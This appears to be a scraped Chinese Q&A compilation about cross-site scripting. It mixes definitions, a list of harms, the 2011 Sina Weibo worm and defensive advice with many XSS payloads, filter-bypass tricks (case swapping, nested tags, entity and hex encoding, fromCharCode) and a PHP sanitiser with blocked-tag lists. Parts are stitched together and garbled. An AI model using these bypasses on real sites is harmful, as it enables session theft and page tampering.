xss過濾onerror
Ⅰ 關於跨站攻擊<img src='#' onerror='alert("XSS")' >
我也不怎麼明白 模模糊糊看了一點教程 你網路一下黑鷹攻擊教程吧 !!很多的 上次我就是看他的!!
Ⅱ 如何正確防禦xss攻擊
傳統防禦技術
2.1.1基於特徵的防禦
傳統XSS防禦多採用特徵匹配方式,在所有提交的信息中都進行匹配檢查。對於這種類型的XSS攻擊,採用的模式匹配方法一般會需要對「javascript」這個關鍵字進行檢索,一旦發現提交信息中包含「javascript」,就認定為XSS攻擊。
2.1.2 基於代碼修改的防禦
和SQL注入防禦一樣,XSS攻擊也是利用了Web頁面的編寫疏忽,所以還有一種方法就是從Web應用開發的角度來避免:
1、對所有用戶提交內容進行可靠的輸入驗證,包括對URL、查詢關鍵字、HTTP頭、POST數據等,僅接受指定長度范圍內、採用適當格式、採用所預期的字元的內容提交,對其他的一律過濾。
2、實現Session標記(session tokens)、CAPTCHA系統或者HTTP引用頭檢查,以防功能被第三方網站所執行。
3、確認接收的的內容被妥善的規范化,僅包含最小的、安全的Tag(沒有javascript),去掉任何對遠程內容的引用(尤其是樣式表和javascript),使用HTTP only的cookie。
當然,如上方法將會降低Web業務系統的可用性,用戶僅能輸入少量的制定字元,人與系統間的交互被降到極致,僅適用於信息發布型站點。
並且考慮到很少有Web編碼人員受過正規的安全培訓,很難做到完全避免頁面中的XSS漏洞。
(2)xss過濾onerror擴展閱讀:
XSS攻擊的危害包括
1、盜取各類用戶帳號,如機器登錄帳號、用戶網銀帳號、各類管理員帳號
2、控制企業數據,包括讀取、篡改、添加、刪除企業敏感數據的能力
3、盜竊企業重要的具有商業價值的資料
4、非法轉賬
5、強制發送電子郵件
6、網站掛馬
7、控制受害者機器向其它網站發起攻擊
受攻擊事件
新浪微博XSS受攻擊事件
2011年6月28日晚,新浪微博出現了一次比較大的XSS攻擊事件。
大量用戶自動發送諸如:
「郭美美事件的一些未注意到的細節」,「建黨大業中穿幫地方」,「讓女人心動的100句詩歌」,「這是傳說中的神仙眷侶啊」等等微博和私信,並自動關注一位名為hellosamy的用戶。
事件的經過線索如下:
20:14,開始有大量帶V的認證用戶中招轉發蠕蟲
20:30,某網站中的病毒頁面無法訪問
20:32,新浪微博中hellosamy用戶無法訪問
21:02,新浪漏洞修補完畢
網路貼吧xss攻擊事件
2014年3月9晚,六安吧等幾十個貼吧出現點擊推廣貼會自動轉發等。並且吧友所關注的每個關注的貼吧都會轉一遍,病毒循環發帖。並且導致吧務人員,和吧友被封禁。
Ⅲ <img src='#' onerror='alert("XSS")'>
<img src="x" >
<img src="x" >
Ⅳ 在web頁面的元素中,下面哪些場景中可能存在xss
跨站腳本攻擊,通常指黑客通過「HTML注入」篡改了網頁,插入了惡意的腳本,從而在用戶瀏專覽網頁時,屬控制用戶瀏覽器的一種攻擊。
1.在HTML標簽中輸出
<div>$var</div>
<a href=# >$var</a>
在這種場景下,XSS的利用方式一般是構造一個<script>標簽,或者是任何能夠產生腳本執行的方式。
<div><script>alert(/xss/)</script></div>
<a href=# ><img src=# onerror=alert(1) /></a>
2.在HTML屬性中輸出
<div id="abc" name="$var" ></div>
靈活構造XSS PAYLOAD
<div id="abc" name=""><script>alert(/xss/)</script><"" ></div>
3.在<script>標簽中輸出
<script>
var x = "$var";
</script>
攻擊者需要先閉合引號才能實施XSS攻擊
<script>
var x = "";alert(/xss/);//";
</script>
Ⅳ xss是什麼意思<img src=1 onerror=alert(233)>
XSS又叫CSS (Cross Site Script) ,跨站腳復本攻擊。它制指的是惡意攻擊者往Web頁面里插入惡意html代碼,當用戶瀏覽該頁之時,嵌入其中Web裡面的html代碼會被執行,從而達到惡意用戶的特殊目的。XSS屬於被動式的攻擊,因為其被動且不好利用,所以許多人常呼略其危害性。而本文主要講的是利用XSS得到目標伺服器的shell。
Ⅵ xss注入漏洞產生的原因xss注入過程步驟是什麼防範xss注入的方法有哪些
對於的用戶輸入中出現XSS漏洞的問題,主要是由於開發人員對XSS了解不足,安全的意識不夠造成的。現在讓我們來普及一下XSS的一些常識,以後在開發的時候,每當有用戶輸入的內容時,都要加倍小心。請記住兩條原則:過濾輸入和轉義輸出。
一、什麼是XSS
XSS又叫CSS (Cross Site Script) ,跨站腳本攻擊。它指的是惡意攻擊者往Web頁面里插入惡意html代碼,當用戶瀏覽該頁之時,嵌入其中Web裡面的html代碼會被執行,從而達到惡意的特殊目的。XSS屬於被動式的攻擊,因為其被動且不好利用,所以許多人常呼略其危害性。
在WEB2.0時代,強調的是互動,使得用戶輸入信息的機會大增,在這個情況下,我們作為開發者,在開發的時候,要提高警惕。
二、XSS攻擊的主要途徑
XSS攻擊方法只是利用HTML的屬性,作各種的嘗試,找出注入的方法。現在對三種主要方式進行分析。
第一種:對普通的用戶輸入,頁面原樣內容輸出。
打開http://go.ent.163.com/goprocttest/test.jsp(限公司IP),輸 入:<script>alert(『xss』)</script>, JS腳本順利執行。當攻擊者找到這種方法後,就可以傳播這種鏈接格式的鏈接 (http://go.ent.163.com/goprocttest/test.jsp?key=JSCODE)如:http: //go.ent.163.com/goprocttest/test.jsp?key=<script>alert(『xss』)& lt;/script>,並對JSCODE做適當偽裝,如:
http://go.ent.163.com/goprocttest/test.jsp?key=%3c%73%63%72%69%70 %74%3e%61%6c%65%72%74%28%27%78%73%73%27%29%3c%2f%73%63%72%69%70%74%3e,當其 它用戶當點此鏈接的時候,JS就運行了,造成的後果會很嚴重,如跳去一個有木馬的頁面、取得登陸用戶的COOKIE等。
第二種:在代碼區里有用戶輸入的內容
原則就是,代碼區中,絕對不應含有用戶輸入的東西。
第三種:允許用戶輸入HTML標簽的頁面。
用戶可以提交一些自定義的HTML代碼,這種情況是最危險的。因為,IE瀏覽器默認採用的是UNICODE編碼,HTML編碼可以用ASCII方式來寫,又可以使用」/」連接16進制字元串來寫,使得過濾變得異常復雜,如下面的四個例子,都可以在IE中運行。
1,直接使用JS腳本。
<img src=」javascript:alert(『xss』)」 />
2,對JS腳本進行轉碼。
<img src=」javascript:alert(『xss』)」 />
3,利用標簽的觸發條件插入代碼並進行轉碼。
<img onerror=」alert(『xss』)」 />
4,使用16進制來寫(可以在傲遊中運行)
<img STYLE=」background-image: /75/72/6c/28/6a/61/76/61/73/63/72/69/70/74/3a/61/6c/65/72/74/28/27/58/53/53/27/29/29″>
以上寫法等於<img STYLE=」background-image: url(javascript:alert(『XSS』))」>
三、XSS攻擊解決辦法
請記住兩條原則:過濾輸入和轉義輸出。
具體執行的方式有以下幾點:
第一、在輸入方面對所有用戶提交內容進行可靠的輸入驗證,提交內容包括URL、查詢關鍵字、http頭、post數據等
第二、在輸出方面,在用戶輸內容中使用<XMP>標簽。標簽內的內容不會解釋,直接顯示。
第三、嚴格執行字元輸入字數控制。
四、在腳本執行區中,應絕無用戶輸入。
Ⅶ <img src='#' onerror='alert("XSS")'>
是xss的一種利用方法
Ⅷ 安全編碼與xss編碼有什麼不同
提起XSS 想到的就是插入字元字元編碼與各種解析了!
這也就是各種xss編碼插件跟工具出世的原因!之前不懂瀏覽器是如何對我們編碼過的代碼進行解析的時候就是一頓亂插!
各種編碼 各種插 沒把編碼還原就算了 還原了就算運氣好!後來到PKAV經過二哥和短短的調教後才算是弄清楚了一點編碼與解析方面的知識!
現在也算是運用自如了把!
現在介紹一下在xss中最經常用到的編碼
html實體編碼(10進制與16進制):
如把尖括弧編碼[ < ] -----> html十進制: < html十六進制:<
javascript的八進制跟十六進制:
如把尖括弧編碼[ < ] -----> js八進制:\74 js十六進制:\x3c
jsunicode編碼:
如把尖括弧編碼[ < ] ----->jsunicode:\u003c
url編碼 base64編碼:
如把尖括弧編碼[ < ] -----> url: %22 base64: Ig==
0x01 html實體編碼
html實體編碼本身存在的意義是防止與HTML本身語義標記的沖突。
但是在XSS中卻成為了我們的一大利器,但是也不能盲目的使用!
html中正常情況只識別:html10進制,html16進制!
現在介紹一下我們應該如何在xss過程中靈活的使用各種編碼呢?
比如現在你的輸出點在這:
<img src="[代碼]">
在這里過濾了script < > / \ http: 以及各種危險字元 比如創建一個html節點什麼的!
有的站只允許你引用一個img文件夾里的圖片 但是圖片是你可以控的 可以通過抓包來修改的!
我們如果想載入外部js 或者一個xss平台的鉤子我們應該怎麼寫呢?
那麼我們可以在這里 閉合雙引號 寫事件: onerror=[html language="實體編碼"][/html][/html]
比如我現在彈個窗:
<img src="x" onerror="alert(1)">
原code:
<img src="x" onerror="alert(1)">
這里我用的是html十進制編碼 也可以使用十六進制的html實體編碼!
但是為什麼這里我沒有用jsunicode 以及 js八進制跟js十六進制呢!
瀏覽器是不會在html標簽里解析js中的那些編碼的!所以我們在onerror=後面放js中的編碼是不會解析 你放進去是什麼 解析就是什麼!
大多數網站是不會號的,如果過濾了怎麼辦呢?
那麼再來講一下另外一個案例:
源碼如下:
頁面中的Go按鈕中包含一個a標簽 輸入的值會存在於a標簽的href屬性中,href中用了javascript偽協議,可以在href跳轉時執行js代碼!
所以造成了xss!
我們提交的值如下:
wooyun%26%23x27,alert(1)%2b%26%23x27
由於頁面對單引號 & 符號 以及 #符號過濾!但是html中可以識別html實體編碼!但是實體編碼是由組成!
這個時候已經被過濾 我們只能通過url編碼來對 & # 兩個符號進行編碼!再讓瀏覽器解碼成 然後拼接x27 最後就成為了單引號的html16進制編碼!
解碼後:我們的提交值為:
',alert(1)'
href代碼為:
?
1
<a href="javascript:location='./3.3.php?offset='+document.getElementById('pagenum').value+'&searchtype_yjbg=yjjg&searchvalue_yjbg='">GO</a>
ps:在之前說了html標簽中識別html實體編碼,並且會在html頁面載入時會對編碼進行解碼!那麼' 已經是單引號了 但是並不會閉合! 然後在點擊過程中執行javascript代碼 這個時候由於html里'被解析成單引號但是沒閉合 這個時候js被執行 這個我們提交的在html載入時解析成了字元串單引號但是不能閉合之前的引號 因為現在是把我們提交的編碼了的單引號 當成字元串來顯示 但是現在他是存在於a標簽中的href里的 href鏈接里的地址是javascript偽協議,我們現在點擊的時候 會執行裡面的代碼 關鍵來了 這個時候我們之前被當做字元串的單引號 被再次解析 這個時候就沒任何過濾規則來過濾它 程序也沒那麼智能 之前當做字元串的單引號起作用了 javascript不知道他是個字元串 它只知道瀏覽器解析成了什麼 他就帶入進去!就在這個時候我們的字元串單引號就成功的閉合了!當點擊go時 我們的代碼執行!
Ⅸ 求教ThinkPHP 有自帶的防止XSS的代碼么
function remove_xss($val) {
// remove all non-printable characters. CR(0a) and LF(0b) and TAB(9) are allowed
// this prevents some character re-spacing such as <java\0script>
// note that you have to handle splits with \n, \r, and \t later since they *are* allowed in some inputs
$val = preg_replace('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/', '', $val);
// straight replacements, the user should never need these since they're normal characters
// this prevents like <IMG SRC=@avascript:alert('XSS')>
$search = 'abcdefghijklmnopqrstuvwxyz';
$search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$search .= '1234567890!@#$%^&*()';
$search .= '~`";:?+/={}[]-_|\'\\';
for ($i = 0; $i < strlen($search); $i++) {
// ;? matches the ;, which is optional
// 0{0,7} matches any padded zeros, which are optional and go up to 8 chars
// @ @ search for the hex values
$val = preg_replace('/([xX]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val); // with a ;
// @ @ 0{0,7} matches '0' zero to seven times
$val = preg_replace('/({0,8}'.ord($search[$i]).';?)/', $search[$i], $val); // with a ;
}
// now the only remaining whitespace attacks are \t, \n, and \r
$ra1 = array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base');
$ra2 = array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbefore', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'on', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload');
$ra = array_merge($ra1, $ra2);
$found = true; // keep replacing as long as the previous round replaced something
while ($found == true) {
$val_before = $val;
for ($i = 0; $i < sizeof($ra); $i++) {
$pattern = '/';
for ($j = 0; $j < strlen($ra[$i]); $j++) {
if ($j > 0) {
$pattern .= '(';
$pattern .= '([xX]0{0,8}([9ab]);)';
$pattern .= '|';
$pattern .= '|({0,8}([9|10|13]);)';
$pattern .= ')*';
}
$pattern .= $ra[$i][$j];
}
$pattern .= '/i';
$replacement = substr($ra[$i], 0, 2).'<x>'.substr($ra[$i], 2); // add in <> to nerf the tag
$val = preg_replace($pattern, $replacement, $val); // filter out the hex tags
if ($val_before == $val) {
// no replacements were made, so exit the loop
$found = false;
}
}
}
return $val;
}
Ⅹ 請教一道xss練習題
XSS 練習
from my wp blog
一個不錯的網站,不錯的滲透教程
雖然是很基礎的東西,但是涵蓋了好多知識
9道XSS練習題
解題過程
url參數直接寫進html裡面
?name=<script>alert(1)</script>
若果過濾<script></script>
不妨<sCript></sCript>
全過濾則是Pentest<script>erLab顯示PentesterLab
則是<scrip<script>t>alert(1)</scrip</script>t>
若果怎樣的<script>都不管用了,製造一堆事件
<a href=』javascript:alert(1)』
<img src=』zzzz』 onerror=』alert(1)』 />.
onmouseout, onmousemove….
alter被過濾
用 eval 和 String.fromCharCode()
把ascii數字轉成字元再執行,可以獲得alert(1)
prompt 和 confirm也是彈窗
若果?name=的值是寫入<script></script>裡面的,比如var s=」」
那就在?name=「;alert(1);」,把東西寫到雙引號直接,注意每句結尾的分號
hp會把輸出的內容html編碼,htmlentities,<,>,,但是單引號』不在內
有些post提交表單是使用PHP_SELF,那麼action的值就是url
這樣修改url,../example8.php/><script>alert(0)</script><好了
面對靜態文件,不要慌,看看裡面的js怎麼寫的
js對url進行操作,寫進html里,那就改url
把<script>嵌進裡面</script>